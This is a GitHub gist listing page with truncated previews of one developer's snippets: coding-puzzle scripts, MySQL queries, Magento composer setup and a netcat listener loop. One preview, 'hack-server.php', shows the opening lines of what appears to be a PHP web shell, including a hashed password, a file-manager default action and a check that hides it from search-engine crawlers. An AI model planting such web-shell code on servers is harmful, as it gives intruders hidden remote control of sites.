vdubyna’s gists

vdubyna / open-close-tags.php

Created October 26, 2016 07:13

	<?php

	$s = 3;
	$t = [
	"((()))",
	"()()()",
	"(())()",
	"()(())",
	"(()())"
	];

vdubyna / brain-ex-sum100.js

Last active October 25, 2016 12:46

	var r = '123456789'.split("").reverse().reduce(function(pre, current){
	pre = (pre.constructor == Array) ? pre : [pre];
	return ["", "+", "-"].map(function(op) {
	return pre.reduce(function(carry, item) {
	return carry.concat(
	("-" + current + op + item).replace(/[-,+][-,+]/g, "-"),
	(current + op + item).replace(/[-,+][-,+]/g, "-")
	);
	},[]);
	}).reduce(function(p, c) {

vdubyna / recursion-excercise.js

Created October 14, 2016 21:03

	var execute = function () {

	var field = [
	[{a: 1}, {a: 2}, {a: 3}, {a: 4}],
	[{b: 1}, {b: 2}, {b: 3}, {b: 4}],
	[{c: 1}, {c: 2}, {c: 3}, {c: 4}],
	[{d: 1}, {d: 2}, {d: 3}, {d: 4}]
	];

	var directions = {

vdubyna / order_items_statuses.sql

Created April 28, 2016 16:40

	select soi.*, GROUP_CONCAT(soi.item_status) from (select
	CONCAT(ssfoi.item_id, '->', if(
	(ssfoi.invoiced = false and ssfoi.shipped = false AND ssfoi.refunded = false AND ssfoi.canceled = false AND ifnull(ssfoi.backordered, 0.0000) = false),
	'Pending',
	if(
	ssfoi.shipped AND ssfoi.invoiced AND (ssfoi.actuallyOrdered = ssfoi.shipped),
	'Shipped',
	if(ssfoi.invoiced AND ssfoi.shipped AND (ssfoi.actuallyOrdered = ssfoi.invoiced),
	'Invoiced',
	if(ssfoi.backordered AND (ssfoi.actuallyOrdered = ssfoi.backordered),

vdubyna / gist:30fe07b4c236cdd29b00

Last active December 15, 2015 11:20

magento2-composer-keys.sh

	composer.phar global config http-basic.repo.magento.com <public_key> <private_key>
	composer config --global repositories.magento composer http://repo.magento.com/

vdubyna / database-sizes.sql

Last active August 11, 2016 09:00

Database count sizes

	SELECT DBName,CONCAT(LPAD(FORMAT(SDSize/POWER(1024,pw),3),17,' '),' ',
	SUBSTR(' KMGTP',pw+1,1),'B') "DataSize",
	CONCAT(LPAD(FORMAT(SXSize/POWER(1024,pw),3),17,' '),' ',
	SUBSTR(' KMGTP',pw+1,1),'B') "IndexSize",
	CONCAT(LPAD(FORMAT(STSize/POWER(1024,pw),3),17,' '),' ',
	SUBSTR(' KMGTP',pw+1,1),'B') "Total Size"
	FROM (SELECT IFNULL(DB,'All Databases') DBName,SUM(DSize) SDSize,
	SUM(XSize) SXSize,SUM(TSize) STSize
	FROM (SELECT table_schema DB,data_length DSize,index_length XSize,
	data_length+index_length TSize FROM information_schema.tables WHERE

vdubyna / hack-server.php

Created May 20, 2015 09:16

	<?php
	$auth_pass = "eaf02c22c483aa6b6510118dd3524c2c";
	$color = "#df5";
	$default_action = 'FilesMan';
	$default_use_ajax = true;
	$default_charset = 'Windows-1251';

	if(!empty($_SERVER['HTTP_USER_AGENT'])) {
	$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
	if(preg_match('/' . implode('\|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {

vdubyna / .gitignore

Last active August 29, 2015 14:21 — forked from karmi/.gitignore

	nginx/
	!nginx/.gitkeep
	!nginx/logs/.gitkeep

	src/

	tmp/

vdubyna / simple terminal server

Created May 7, 2015 12:31

while nc -l -v 8089 ; do sleep 0.01 ; done

vdubyna / gist:9fcdf62338776d6139e3

Last active August 29, 2015 14:13

show all related foreign keys to table

SELECT TABLE_NAME, COLUMN_NAME, CONSTRAINT_NAME, REFERENCED_TABLE_NAME, REFERENCED_COLUMN_NAME FROM INFORMATION_SCHEMA.KEY_COLUMN_USAGE WHERE   REFERENCED_TABLE_NAME = '<table name>' AND TABLE_SCHEMA=database();

Volodymyr Dubyna vdubyna